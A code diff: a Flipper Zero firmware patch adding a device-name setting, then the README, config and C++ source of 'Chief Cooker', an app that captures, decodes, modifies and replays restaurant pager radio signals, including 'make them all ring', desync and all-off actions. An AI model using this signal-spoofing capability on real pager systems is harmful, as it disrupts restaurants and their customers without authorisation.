stack_size=2 * 1024,
order=30,
)

View File

@@ -2,6 +2,9 @@
#include <loader/loader.h>
#include <lib/toolbox/value_index.h>
#include <locale/locale.h>
#include <flipper_format/flipper_format.h>
#include <power/power_service/power.h>
#include <applications/services/namechanger/namechanger.h>
const char* const log_level_text[] = {
"Default",
@@ -208,6 +211,81 @@ static void filename_scheme_changed(VariableItem* item) {
}
}
// ---- Device Name --------------------------------------------------------
#define DEVICE_NAME_ITEM_INDEX 11
static bool system_settings_device_name_validator(
const char* text,
FuriString* error,
void* context) {
UNUSED(context);
for(; *text; ++text) {
const char c = *text;
if((c < '0' || c > '9') && (c < 'A' || c > 'Z') && (c < 'a' || c > 'z')) {
furi_string_printf(error, "Letters and\nnumbers only!");
return false;
}
}
return true;
}
static void system_settings_device_name_callback(void* context) {
SystemSettings* app = context;
// Save name to SD card (same path as namechanger service)
FlipperFormat* file = flipper_format_file_alloc(app->storage);
bool saved = false;
do {
if(app->device_name[0] == '\0') {
// Empty name -> remove file to restore real name
storage_simply_remove(app->storage, NAMECHANGER_PATH);
saved = true;
break;
}
if(!flipper_format_file_open_always(file, NAMECHANGER_PATH)) break;
if(!flipper_format_write_header_cstr(file, NAMECHANGER_HEADER, NAMECHANGER_VERSION)) break;
if(!flipper_format_write_string_cstr(file, "Name", app->device_name)) break;
saved = true;
} while(false);
flipper_format_free(file);
if(saved) {
// Reboot to apply
Power* power = furi_record_open(RECORD_POWER);
power_reboot(power, PowerBootModeNormal);
} else {
// Go back silently on failure
view_dispatcher_switch_to_view(app->view_dispatcher, SystemSettingsViewVarItemList);
}
}
static void system_settings_enter_callback(void* context, uint32_t index) {
SystemSettings* app = context;
if(index == DEVICE_NAME_ITEM_INDEX) {
text_input_reset(app->text_input);
text_input_set_header_text(app->text_input, "Device Name (empty=reset)");
text_input_set_validator(
app->text_input, system_settings_device_name_validator, NULL);
text_input_set_minimum_length(app->text_input, 0);
text_input_set_result_callback(
app->text_input,
system_settings_device_name_callback,
app,
app->device_name,
FURI_HAL_VERSION_ARRAY_NAME_LENGTH,
false);
view_dispatcher_switch_to_view(app->view_dispatcher, SystemSettingsViewTextInput);
}
}
static uint32_t system_settings_text_input_back(void* context) {
UNUSED(context);
return SystemSettingsViewVarItemList;
}
// -------------------------------------------------------------------------
static uint32_t system_settings_exit(void* context) {
UNUSED(context);
return VIEW_NONE;
@@ -218,6 +296,7 @@ SystemSettings* system_settings_alloc(void) {
// Load settings
app->gui = furi_record_open(RECORD_GUI);
app->storage = furi_record_open(RECORD_STORAGE);
app->view_dispatcher = view_dispatcher_alloc();
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
@@ -314,6 +393,19 @@ SystemSettings* system_settings_alloc(void) {
variable_item_set_current_value_index(item, value_index);
variable_item_set_current_value_text(item, filename_scheme[value_index]);
// Device Name (index = DEVICE_NAME_ITEM_INDEX = 11)
const char* current_name = furi_hal_version_get_name_ptr();
strlcpy(
app->device_name,
current_name ? current_name : "",
FURI_HAL_VERSION_ARRAY_NAME_LENGTH);
item = variable_item_list_add(app->var_item_list, "Device Name", 0, NULL, app);
variable_item_set_current_value_text(
item, app->device_name[0] != '\0' ? app->device_name : "<default>");
variable_item_list_set_enter_callback(
app->var_item_list, system_settings_enter_callback, app);
view_set_previous_callback(
variable_item_list_get_view(app->var_item_list), system_settings_exit);
view_dispatcher_add_view(
@@ -321,6 +413,15 @@ SystemSettings* system_settings_alloc(void) {
SystemSettingsViewVarItemList,
variable_item_list_get_view(app->var_item_list));
// TextInput for device name
app->text_input = text_input_alloc();
view_set_previous_callback(
text_input_get_view(app->text_input), system_settings_text_input_back);
view_dispatcher_add_view(
app->view_dispatcher,
SystemSettingsViewTextInput,
text_input_get_view(app->text_input));
view_dispatcher_switch_to_view(app->view_dispatcher, SystemSettingsViewVarItemList);
return app;
@@ -328,12 +429,16 @@ SystemSettings* system_settings_alloc(void) {
void system_settings_free(SystemSettings* app) {
furi_assert(app);
// TextInput
view_dispatcher_remove_view(app->view_dispatcher, SystemSettingsViewTextInput);
text_input_free(app->text_input);
// Variable item list
view_dispatcher_remove_view(app->view_dispatcher, SystemSettingsViewVarItemList);
variable_item_list_free(app->var_item_list);
// View dispatcher
view_dispatcher_free(app->view_dispatcher);
// Records
furi_record_close(RECORD_STORAGE);
furi_record_close(RECORD_GUI);
free(app);
}

View File

@@ -2,17 +2,24 @@
#include <furi.h>
#include <furi_hal.h>
#include <furi_hal_version.h>
#include <gui/gui.h>
#include <gui/view_dispatcher.h>
#include <gui/modules/variable_item_list.h>
#include <gui/modules/text_input.h>
#include <storage/storage.h>
typedef struct {
Gui* gui;
ViewDispatcher* view_dispatcher;
VariableItemList* var_item_list;
TextInput* text_input;
Storage* storage;
char device_name[FURI_HAL_VERSION_ARRAY_NAME_LENGTH];
} SystemSettings;
typedef enum {
SystemSettingsViewVarItemList,
SystemSettingsViewTextInput,
} SystemSettingsView;

View File

@@ -0,0 +1,246 @@
---
Language: Cpp
AccessModifierOffset: -4
AlignAfterOpenBracket: BlockIndent
AlignArrayOfStructures: None
AlignConsecutiveAssignments:
Enabled: false
AcrossEmptyLines: false
AcrossComments: false
AlignCompound: false
AlignFunctionPointers: false
PadOperators: true
AlignConsecutiveBitFields:
Enabled: true
AcrossEmptyLines: true
AcrossComments: true
AlignCompound: false
AlignFunctionPointers: false
PadOperators: true
AlignConsecutiveDeclarations:
Enabled: false
AcrossEmptyLines: false
AcrossComments: false
AlignCompound: false
AlignFunctionPointers: false
PadOperators: true
AlignConsecutiveMacros:
Enabled: true
AcrossEmptyLines: false
AcrossComments: true
AlignCompound: true
AlignFunctionPointers: false
PadOperators: true
AlignConsecutiveShortCaseStatements:
Enabled: false
AcrossEmptyLines: false
AcrossComments: false
AlignCaseColons: false
AlignEscapedNewlines: Left
AlignOperands: Align
AlignTrailingComments:
Kind: Never
OverEmptyLines: 0
AllowAllArgumentsOnNextLine: true
AllowAllParametersOfDeclarationOnNextLine: false
AllowBreakBeforeNoexceptSpecifier: Never
AllowShortBlocksOnASingleLine: Never
AllowShortCaseLabelsOnASingleLine: false
AllowShortCompoundRequirementOnASingleLine: true
AllowShortEnumsOnASingleLine: false
AllowShortFunctionsOnASingleLine: None
AllowShortIfStatementsOnASingleLine: WithoutElse
AllowShortLambdasOnASingleLine: All
AllowShortLoopsOnASingleLine: false
AlwaysBreakAfterDefinitionReturnType: None
AlwaysBreakAfterReturnType: None
AlwaysBreakBeforeMultilineStrings: false
AlwaysBreakTemplateDeclarations: Yes
AttributeMacros:
- __capability
BinPackArguments: false
BinPackParameters: false
BitFieldColonSpacing: Both
BraceWrapping:
AfterCaseLabel: false
AfterClass: false
AfterControlStatement: Never
AfterEnum: false
AfterExternBlock: false
AfterFunction: false
AfterNamespace: false
AfterObjCDeclaration: false
AfterStruct: false
AfterUnion: false
BeforeCatch: false
BeforeElse: false
BeforeLambdaBody: false
BeforeWhile: false
IndentBraces: false
SplitEmptyFunction: true
SplitEmptyRecord: true
SplitEmptyNamespace: true
BreakAdjacentStringLiterals: true
BreakAfterAttributes: Leave
BreakAfterJavaFieldAnnotations: false
BreakArrays: true
BreakBeforeBinaryOperators: None
BreakBeforeConceptDeclarations: Always
BreakBeforeBraces: Attach
BreakBeforeInlineASMColon: OnlyMultiline
BreakBeforeTernaryOperators: false
BreakConstructorInitializers: AfterColon
BreakInheritanceList: AfterComma
BreakStringLiterals: false
ColumnLimit: 130
CommentPragmas: '^ IWYU pragma:'
CompactNamespaces: false
ConstructorInitializerIndentWidth: 8
ContinuationIndentWidth: 4
Cpp11BracedListStyle: true
DerivePointerAlignment: false
DisableFormat: false
EmptyLineAfterAccessModifier: Never
EmptyLineBeforeAccessModifier: LogicalBlock
ExperimentalAutoDetectBinPacking: false
FixNamespaceComments: false
ForEachMacros:
- foreach
- Q_FOREACH
- BOOST_FOREACH
- M_EACH
IfMacros:
- KJ_IF_MAYBE
IncludeBlocks: Preserve
IncludeCategories:
- Regex: '.*'
Priority: 1
SortPriority: 0
CaseSensitive: false
- Regex: '^(<|"(gtest|gmock|isl|json)/)'
Priority: 3
SortPriority: 0
CaseSensitive: false
- Regex: '.*'
Priority: 1
SortPriority: 0
CaseSensitive: false
IncludeIsMainRegex: '(Test)?$'
IncludeIsMainSourceRegex: ''
IndentAccessModifiers: false
IndentCaseBlocks: false
IndentCaseLabels: false
IndentExternBlock: AfterExternBlock
IndentGotoLabels: true
IndentPPDirectives: None
IndentRequiresClause: false
IndentWidth: 4
IndentWrappedFunctionNames: true
InsertBraces: false
InsertNewlineAtEOF: true
InsertTrailingCommas: None
IntegerLiteralSeparator:
Binary: 0
BinaryMinDigits: 0
Decimal: 0
DecimalMinDigits: 0
Hex: 0
HexMinDigits: 0
JavaScriptQuotes: Leave
JavaScriptWrapImports: true
KeepEmptyLinesAtTheStartOfBlocks: false
KeepEmptyLinesAtEOF: false
LambdaBodyIndentation: Signature
LineEnding: DeriveLF
MacroBlockBegin: ''
MacroBlockEnd: ''
MaxEmptyLinesToKeep: 1
NamespaceIndentation: None
ObjCBinPackProtocolList: Auto
ObjCBlockIndentWidth: 4
ObjCBreakBeforeNestedBlockParam: true
ObjCSpaceAfterProperty: true
ObjCSpaceBeforeProtocolList: true
PackConstructorInitializers: BinPack
PenaltyBreakAssignment: 10
PenaltyBreakBeforeFirstCallParameter: 30
PenaltyBreakComment: 10
PenaltyBreakFirstLessLess: 0
PenaltyBreakOpenParenthesis: 0
PenaltyBreakScopeResolution: 500
PenaltyBreakString: 10
PenaltyBreakTemplateDeclaration: 10
PenaltyExcessCharacter: 100
PenaltyIndentedWhitespace: 0
PenaltyReturnTypeOnItsOwnLine: 60
PointerAlignment: Left
PPIndentWidth: -1
QualifierAlignment: Leave
ReferenceAlignment: Pointer
ReflowComments: false
RemoveBracesLLVM: false
RemoveParentheses: Leave
RemoveSemicolon: true
RequiresClausePosition: OwnLine
RequiresExpressionIndentation: OuterScope
SeparateDefinitionBlocks: Leave
ShortNamespaceLines: 1
SkipMacroDefinitionBody: false
SortIncludes: Never
SortJavaStaticImport: Before
SortUsingDeclarations: Never
SpaceAfterCStyleCast: false
SpaceAfterLogicalNot: false
SpaceAfterTemplateKeyword: true
SpaceAroundPointerQualifiers: Default
SpaceBeforeAssignmentOperators: true
SpaceBeforeCaseColon: false
SpaceBeforeCpp11BracedList: false
SpaceBeforeCtorInitializerColon: true
SpaceBeforeInheritanceColon: true
SpaceBeforeJsonColon: false
SpaceBeforeParens: Never
SpaceBeforeParensOptions:
AfterControlStatements: false
AfterForeachMacros: false
AfterFunctionDefinitionName: false
AfterFunctionDeclarationName: false
AfterIfMacros: false
AfterOverloadedOperator: false
AfterPlacementOperator: true
AfterRequiresInClause: false
AfterRequiresInExpression: false
BeforeNonEmptyParentheses: false
SpaceBeforeRangeBasedForLoopColon: true
SpaceBeforeSquareBrackets: false
SpaceInEmptyBlock: false
SpacesBeforeTrailingComments: 1
SpacesInAngles: Never
SpacesInContainerLiterals: false
SpacesInLineCommentPrefix:
Minimum: 1
Maximum: -1
SpacesInParens: Never
SpacesInParensOptions:
InCStyleCasts: false
InConditionalStatements: false
InEmptyParentheses: false
Other: false
SpacesInSquareBrackets: false
Standard: c++20
StatementAttributeLikeMacros:
- Q_EMIT
StatementMacros:
- Q_UNUSED
- QT_REQUIRE_VERSION
TabWidth: 4
UseTab: Never
VerilogBreakBetweenInstancePorts: true
WhitespaceSensitiveMacros:
- STRINGIZE
- PP_STRINGIZE
- BOOST_PP_STRINGIZE
- NS_SWIFT_NAME
- CF_SWIFT_NAME
...

View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2025 Denr01
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -0,0 +1,72 @@
# Chief Cooker
Your ultimate Flipper Zero restaurant pager tool. Be a _real chief_ of all the restaurants on the food court!
This app supports receiving, decoding, editing and sending restaurant pager signals.
**Developed & compatible with [Momentum firmware](https://github.com/Next-Flip/Momentum-Firmware).** Other firmwares are most likely not supported (but I've not tried).
## Video demo
[![Video 1](https://img.youtube.com/vi/iuQSyesS9-o/0.jpg)](https://youtube.com/shorts/iuQSyesS9-o)
More demos:
- [Video 2](https://youtube.com/shorts/KGDAGblbtFo)
- [Video 3](https://youtube.com/shorts/QqbfHF-yDiE)
## Disclaimer
I've built this app for research and learning purposes. But please, don't use it in a way that could hurt anyone or anything.
Use it responsibly, okay?
## [Usage instructions](instructions/instructions.md)
Please, read the [instructions](instructions/instructions.md) before using the app. It will definitely make your life easier!
## Features
- **Receive** signals from pager stations
- Automatically **decode** them and dsiplay station number, pager number and action (Ring/Mute/etc)
- Manually **change encoding in real-time** to look for the best one if automatically detected encoding is not working
- **Resend** captured message to specific pager to all at once to **make them all ring**!
- **Modify** captured signal, e.g. change pager number or action
- **Save** captured signals (and give each station a name)
- Create separate **categories** for each food court you are chief on
- Display signals from saved stations **by ther names** (instead of HEX code) or hide them from list
- **Send** signals from saved stations at any time, no need to capture it again
- Of course, suports working with **external CC1101 module** to cover the area of all the pagers on your food court!
## Supported protocols
- Princeton
- SMC5326
## Supported pager encodings
- Retekess TD157
- Retekess TD165/T119
- Retekess TD174
- L8R / Retekess T111 (not tested)
- L8S / iBells ZJ-68 (check [source code](app/pager/decoder/L8SDecoder.hpp#L8) for description)
## Contributing
If you want to add any new pager encoding, please feel free to create PR with it!
Also you can open issue and share with me any captured data (and at least pager number) if you have any and maybe I'll try create a decoder for it
## Building
If you build the source code just with regular `ufbt` command, the app will probably crash due to out of memory error because your device will have less that 10 kb of free RAM on the "Scan" screen.
This is because after you compile the app with ufbt, the result executable will contain hundreds of sections with very long names like `.fast.rel.text._ZNSt17_Function_handlerIFvmEZN18PagerActionsScreenC4EP9AppConfigSt8functionIFP15StoredPagerDatavEEP12PagerDecoderP13PagerProtocolP12SubGhzModuleEUlmE_E9_M_invokeERKSt9_Any_dataOm`.
**These names stay in RAM during the execution and consume about 20kb of heap!**
The reason for it is [name mangling](https://en.wikipedia.org/wiki/Name_mangling). Perhaps, the gcc parameter `-fno-mangle` could disable it, but unfortunately, it is not possible to pass any arguments to gcc when you compile app with `ufbt`.
Luckily the sections inside the compiled file can be renamed using gcc's `objcopy` tool with `--rename-section` parameter. To automate it, I built a small python script which renames them all and gives them short names like `_s1`, `_s2`, `_s228` etc...
**Therfore you must use [scripts/build-and-clear.py](scripts/build-and-clear.py) script instead!** It will build, rename sections and upload the fap to flipper.
After building and cleaning your `.fap` with it, you'll get extra +20kb of free RAM which will make compiled app work stably.
The `.fap` files under the release tab are already cleared with this script, so if you just want to use this app without modifications, just forget about it and download the latest one from releases.
## Support & Donate
> [PayPal](https://paypal.me/denr01)
## Special Thanks
- [meoker/pagger](https://github.com/meoker/pagger) for Retekess pager encodings
- This [awesome repository](https://dev.xcjs.com/r0073dl053r/flipper-playground/-/tree/main/Sub-GHz/Restaurant_Pagers?ref_type=heads) for Retekess T111 and iBells ZJ-68 files

View File

@@ -0,0 +1,33 @@
#pragma once
#include "lib/ui/UiManager.hpp"
#include "lib/hardware/notification/Notification.hpp"
#include "lib/hardware/subghz/FrequencyManager.hpp"
#include "AppConfig.hpp"
#include "app/screen/MainMenuScreen.hpp"
using namespace std;
class App {
public:
void Run() {
UiManager* ui = UiManager::GetInstance();
ui->InitGui();
FrequencyManager* frequencyManager = FrequencyManager::GetInstance();
AppConfig* config = new AppConfig();
config->Load();
MainMenuScreen* mainMenuScreen = new MainMenuScreen(config);
ui->PushView(mainMenuScreen->GetView());
ui->RunEventLoop();
delete frequencyManager;
delete mainMenuScreen;
delete config;
delete ui;
Notification::Dispose();
}
};

View File

@@ -0,0 +1,78 @@
#pragma once
#include <cstdint>
#include "app/AppFileSystem.hpp"
#include "lib/file/FileManager.hpp"
#include "app/pager/SavedStationStrategy.hpp"
#define KEY_CONFIG_FREQUENCY "Frequency"
#define KEY_CONFIG_MAX_PAGERS "MaxPagerForBatchOrDetection"
#define KEY_CONFIG_REPEATS "SignalRepeats"
#define KEY_CONFIG_SAVED_STRATEGY "SavedStationStrategy"
#define KEY_CONFIG_AUTOSAVE "AutosaveFoundSignals"
#define KEY_CONFIG_USER_CATGEGORY "UserCategory"
class AppConfig {
public:
uint32_t Frequency = 433920000;
uint32_t MaxPagerForBatchOrDetection = 30;
uint32_t SignalRepeats = 10;
SavedStationStrategy SavedStrategy = SHOW_NAME;
bool AutosaveFoundSignals = true;
String* CurrentUserCategory = NULL;
private:
void readFromFile(FlipperFile* file) {
String* userCat = new String();
uint32_t savedStrategyValue = SavedStrategy;
if(CurrentUserCategory != NULL) {
delete CurrentUserCategory;
}
file->ReadUInt32(KEY_CONFIG_FREQUENCY, &Frequency);
file->ReadUInt32(KEY_CONFIG_MAX_PAGERS, &MaxPagerForBatchOrDetection);
file->ReadUInt32(KEY_CONFIG_REPEATS, &SignalRepeats);
file->ReadUInt32(KEY_CONFIG_SAVED_STRATEGY, &savedStrategyValue);
file->ReadBool(KEY_CONFIG_AUTOSAVE, &AutosaveFoundSignals);
file->ReadString(KEY_CONFIG_USER_CATGEGORY, userCat);
SavedStrategy = static_cast<enum SavedStationStrategy>(savedStrategyValue);
if(!userCat->isEmpty()) {
CurrentUserCategory = userCat;
} else {
CurrentUserCategory = NULL;
delete userCat;
}
}
void writeToFile(FlipperFile* file) {
file->WriteUInt32(KEY_CONFIG_FREQUENCY, Frequency);
file->WriteUInt32(KEY_CONFIG_MAX_PAGERS, MaxPagerForBatchOrDetection);
file->WriteUInt32(KEY_CONFIG_REPEATS, SignalRepeats);
file->WriteUInt32(KEY_CONFIG_SAVED_STRATEGY, SavedStrategy);
file->WriteBool(KEY_CONFIG_AUTOSAVE, AutosaveFoundSignals);
file->WriteString(KEY_CONFIG_USER_CATGEGORY, CurrentUserCategory != NULL ? CurrentUserCategory->cstr() : "");
}
public:
void Load() {
FlipperFile* configFile = FileManager().OpenRead(CONFIG_FILE_PATH);
if(configFile != NULL) {
readFromFile(configFile);
delete configFile;
}
}
void Save() {
FlipperFile* configFile = FileManager().OpenWrite(CONFIG_FILE_PATH);
if(configFile != NULL) {
writeToFile(configFile);
delete configFile;
}
}
const char* GetCurrentUserCategoryCstr() {
return CurrentUserCategory == NULL ? NULL : CurrentUserCategory->cstr();
}
};

View File

@@ -0,0 +1,188 @@
#pragma once
#include <storage/storage.h>
#include <forward_list>
#include "app/pager/PagerSerializer.hpp"
#include "lib/file/FileManager.hpp"
#include "pager/data/NamedPagerData.hpp"
// .fff stands for (f)lipper (f)ile (f)ormat
#define CONFIG_FILE_PATH APP_DATA_PATH("config.fff")
#define STATIONS_PATH APP_DATA_PATH("stations")
#define STATIONS_PATH_OF(path) STATIONS_PATH "/" path
#define SAVED_STATIONS_PATH STATIONS_PATH_OF("saved")
#define AUTOSAVED_STATIONS_PATH STATIONS_PATH_OF("autosaved")
#define MAX_FILENAME_LENGTH 16
using namespace std;
enum CategoryType {
User,
Autosaved,
NotSelected,
};
class AppFileSysytem {
private:
String* getCategoryPath(CategoryType categoryType, const char* category) {
switch(categoryType) {
case User:
if(category != NULL) {
return new String("%s/%s", SAVED_STATIONS_PATH, category);
} else {
return new String(SAVED_STATIONS_PATH);
}
case Autosaved:
return new String("%s/%s", AUTOSAVED_STATIONS_PATH, category);
default:
case NotSelected:
return NULL;
}
}
String* getFilePath(CategoryType categoryType, const char* category, StoredPagerData* pager) {
String* categoryPath = getCategoryPath(categoryType, category);
String* pagerFilename = PagerSerializer().GetFilename(pager);
String* filePath = new String("%s/%s", categoryPath->cstr(), pagerFilename->cstr());
delete categoryPath;
delete pagerFilename;
return filePath;
}
public:
int GetCategories(forward_list<char*>* categoryList, CategoryType categoryType) {
const char* dirPath;
switch(categoryType) {
case User:
dirPath = SAVED_STATIONS_PATH;
break;
case Autosaved:
dirPath = AUTOSAVED_STATIONS_PATH;
break;
default:
return 0;
}
FileManager fileManager = FileManager();
Directory* dir = fileManager.OpenDirectory(dirPath);
uint16_t categoriesLoaded = 0;
if(dir != NULL) {
char fileName[MAX_FILENAME_LENGTH];
while(dir->GetNextDir(fileName, MAX_FILENAME_LENGTH)) {
char* category = new char[strlen(fileName)];
strcpy(category, fileName);
categoryList->push_front(category);
categoriesLoaded++;
}
}
delete dir;
return categoriesLoaded;
}
size_t GetStationsFromDirectory(
forward_list<NamedPagerData>* stationList,
ProtocolAndDecoderProvider* pdProvider,
CategoryType categoryType,
const char* category,
bool loadNames
) {
FileManager fileManager = FileManager();
String* stationDirPath = getCategoryPath(categoryType, category);
Directory* dir = fileManager.OpenDirectory(stationDirPath->cstr());
PagerSerializer serializer = PagerSerializer();
size_t stationsLoaded = 0;
if(dir != NULL) {
char fileName[MAX_FILENAME_LENGTH];
while(dir->GetNextFile(fileName, MAX_FILENAME_LENGTH)) {
String* stationName = new String();
StoredPagerData pager =
serializer.LoadPagerData(&fileManager, stationName, stationDirPath->cstr(), fileName, pdProvider);
if(!loadNames) {
delete stationName;
stationName = NULL;
}
NamedPagerData returnData = NamedPagerData();
returnData.storedData = pager;
returnData.name = stationName;
stationList->push_front(returnData);
stationsLoaded++;
}
}
delete dir;
delete stationDirPath;
return stationsLoaded;
}
String* GetOnlyStationName(CategoryType categoryType, const char* category, StoredPagerData* pager) {
FileManager fileManager = FileManager();
String* categoryPath = getCategoryPath(categoryType, category);
String* name = PagerSerializer().LoadOnlyStationName(&fileManager, categoryPath->cstr(), pager);
delete categoryPath;
return name;
}
void AutoSave(StoredPagerData* storedData, PagerDecoder* decoder, PagerProtocol* protocol, uint32_t frequency) {
DateTime datetime;
furi_hal_rtc_get_datetime(&datetime);
String* todayDate = new String("%d-%02d-%02d", datetime.year, datetime.month, datetime.day);
String* todaysDir = getCategoryPath(Autosaved, todayDate->cstr());
FileManager fileManager = FileManager();
fileManager.CreateDirIfNotExists(STATIONS_PATH);
fileManager.CreateDirIfNotExists(AUTOSAVED_STATIONS_PATH);
fileManager.CreateDirIfNotExists(todaysDir->cstr());
PagerSerializer().SavePagerData(&fileManager, todaysDir->cstr(), "", storedData, decoder, protocol, frequency);
delete todaysDir;
delete todayDate;
}
void SaveToUserCategory(
const char* userCategory,
const char* stationName,
StoredPagerData* storedData,
PagerDecoder* decoder,
PagerProtocol* protocol,
uint32_t frequency
) {
String* catDir = getCategoryPath(User, userCategory);
FileManager fileManager = FileManager();
fileManager.CreateDirIfNotExists(STATIONS_PATH);
fileManager.CreateDirIfNotExists(AUTOSAVED_STATIONS_PATH);
fileManager.CreateDirIfNotExists(catDir->cstr());
PagerSerializer().SavePagerData(&fileManager, catDir->cstr(), stationName, storedData, decoder, protocol, frequency);
delete catDir;
}
void DeletePager(const char* userCategory, StoredPagerData* storedData) {
String* filePath = getFilePath(User, userCategory, storedData);
FileManager().DeleteFile(filePath->cstr());
delete filePath;
}
void DeleteCategory(const char* userCategory) {
String* catPath = getCategoryPath(User, userCategory);
FileManager().DeleteFile(catPath->cstr());
delete catPath;
}
};

View File

@@ -0,0 +1,16 @@
#pragma once
#include "lib/hardware/notification/Notification.hpp"
const NotificationSequence NOTIFICATION_PAGER_RECEIVE = {
&message_vibro_on,
&message_note_e6,
&message_blue_255,
&message_delay_50,
&message_sound_off,
&message_vibro_off,
NULL,
};

View File

@@ -0,0 +1,42 @@
#pragma once
enum PagerAction {
UNKNOWN,
RING,
MUTE,
DESYNC,
TURN_OFF_ALL,
PagerActionCount,
};
class PagerActions {
public:
static const char* GetDescription(PagerAction action) {
switch(action) {
case UNKNOWN:
return "?";
case RING:
return "RING";
case MUTE:
return "MUTE";
case DESYNC:
return "DESYNC_ALL";
case TURN_OFF_ALL:
return "ALL_OFF";
default:
return "";
}
}
static bool IsPagerActionSpecial(PagerAction action) {
switch(action) {
case DESYNC:
case TURN_OFF_ALL:
return true;
default:
return false;
}
}
};

View File

@@ -0,0 +1,319 @@
#pragma once
#include "ProtocolAndDecoderProvider.hpp"
#include <cstring>
#include <forward_list>
#include "lib/hardware/subghz/FrequencyManager.hpp"
#include "lib/hardware/subghz/data/SubGhzReceivedData.hpp"
#include "app/AppConfig.hpp"
#include "data/ReceivedPagerData.hpp"
#include "data/KnownStationData.hpp"
#include "protocol/PrincetonProtocol.hpp"
#include "protocol/Smc5326Protocol.hpp"
#include "decoder/Td157Decoder.hpp"
#include "decoder/Td165Decoder.hpp"
#include "decoder/Td174Decoder.hpp"
#include "decoder/L8RDecoder.hpp"
#include "decoder/L8SDecoder.hpp"
#undef LOG_TAG
#define LOG_TAG "PGR_RCV"
#define MAX_REPEATS 99
#define PAGERS_ARRAY_SIZE_MULTIPLIER 8
using namespace std;
class PagerReceiver : public ProtocolAndDecoderProvider {
public:
static const uint8_t protocolsCount = 2;
PagerProtocol* protocols[protocolsCount]{
new PrincetonProtocol(),
new Smc5326Protocol(),
};
static const uint8_t decodersCount = 5;
PagerDecoder* decoders[decodersCount]{
new Td157Decoder(),
new Td165Decoder(),
new Td174Decoder(),
new L8RDecoder(),
new L8SDecoder(),
};
private:
AppConfig* config;
uint16_t nextPagerIndex = 0;
uint16_t pagersArraySize = PAGERS_ARRAY_SIZE_MULTIPLIER;
StoredPagerData* pagers = new StoredPagerData[pagersArraySize];
size_t knownStationsSize = 0;
KnownStationData* knownStations;
uint32_t lastFrequency = 0;
uint8_t lastFrequencyIndex = 0;
bool knownStationsLoaded = false;
const char* userCategory;
void loadKnownStations() {
AppFileSysytem appFilesystem;
forward_list<NamedPagerData> stations;
bool withNames = config->SavedStrategy == SHOW_NAME;
size_t count = appFilesystem.GetStationsFromDirectory(&stations, this, User, userCategory, withNames);
knownStations = new KnownStationData[count];
for(size_t i = 0; i < count; i++) {
knownStations[i] = buildKnownStationWithName(stations.front());
stations.pop_front();
}
knownStationsSize = count;
knownStationsLoaded = true;
}
void unloadKnownStations() {
for(size_t i = 0; i < knownStationsSize; i++) {
if(knownStations[i].name != NULL) {
delete knownStations[i].name;
}
}
delete[] knownStations;
knownStationsLoaded = false;
knownStationsSize = 0;
}
KnownStationData buildKnownStationWithName(NamedPagerData pager) {
KnownStationData data = KnownStationData();
data.frequency = pager.storedData.frequency;
data.protocol = pager.storedData.protocol;
data.decoder = pager.storedData.decoder;
data.station = decoders[pager.storedData.decoder]->GetStation(pager.storedData.data);
data.name = pager.name;
return data;
}
KnownStationData buildKnownStationWithoutName(StoredPagerData* pager) {
KnownStationData data = KnownStationData();
data.frequency = pager->frequency;
data.protocol = pager->protocol;
data.decoder = pager->decoder;
data.station = decoders[pager->decoder]->GetStation(pager->data);
data.name = NULL;
return data;
}
PagerDecoder* getDecoder(StoredPagerData* pagerData) {
for(size_t i = 0; i < decodersCount; i++) {
pagerData->decoder = i;
if(IsKnown(pagerData)) {
return decoders[i];
}
}
for(size_t i = 0; i < decodersCount; i++) {
if(decoders[i]->GetPager(pagerData->data) <= config->MaxPagerForBatchOrDetection) {
return decoders[i];
}
}
return decoders[0];
}
void addPager(StoredPagerData data) {
if(nextPagerIndex == pagersArraySize) {
pagersArraySize += PAGERS_ARRAY_SIZE_MULTIPLIER;
StoredPagerData* newPagers = new StoredPagerData[pagersArraySize];
for(int i = 0; i < nextPagerIndex; i++) {
newPagers[i] = pagers[i];
}
delete[] pagers;
pagers = newPagers;
}
pagers[nextPagerIndex++] = data;
}
public:
PagerReceiver(AppConfig* config) {
this->config = config;
for(size_t i = 0; i < protocolsCount; i++) {
protocols[i]->id = i;
}
for(size_t i = 0; i < decodersCount; i++) {
decoders[i]->id = i;
}
SetUserCategory(config->CurrentUserCategory);
}
void SetUserCategory(String* category) {
SetUserCategory(category != NULL ? category->cstr() : NULL);
}
const char* GetCurrentUserCategory() {
return userCategory;
}
void SetUserCategory(const char* category) {
userCategory = category;
}
PagerProtocol* GetProtocolByName(const char* systemProtocolName) {
for(size_t i = 0; i < protocolsCount; i++) {
if(strcmp(systemProtocolName, protocols[i]->GetSystemName()) == 0) {
return protocols[i];
}
}
return NULL;
}
PagerDecoder* GetDecoderByName(const char* shortName) {
for(size_t i = 0; i < decodersCount; i++) {
if(strcmp(shortName, decoders[i]->GetShortName()) == 0) {
return decoders[i];
}
}
return NULL;
}
void ReloadKnownStations() {
unloadKnownStations();
loadKnownStations();
}
void LoadStationsFromDirectory(
CategoryType categoryType,
const char* category,
function<void(ReceivedPagerData*)> pagerHandler
) {
AppFileSysytem appFilesystem;
forward_list<NamedPagerData> stations;
bool withNames = !knownStationsLoaded && config->SavedStrategy == SHOW_NAME;
int count = appFilesystem.GetStationsFromDirectory(&stations, this, categoryType, category, withNames);
delete[] pagers;
pagers = new StoredPagerData[count];
if(!knownStationsLoaded) {
knownStations = new KnownStationData[count];
}
for(int i = 0; i < count; i++) {
NamedPagerData pagerData = stations.front();
pagers[i] = pagerData.storedData;
if(!knownStationsLoaded) {
knownStations[i] = buildKnownStationWithName(pagerData);
}
stations.pop_front();
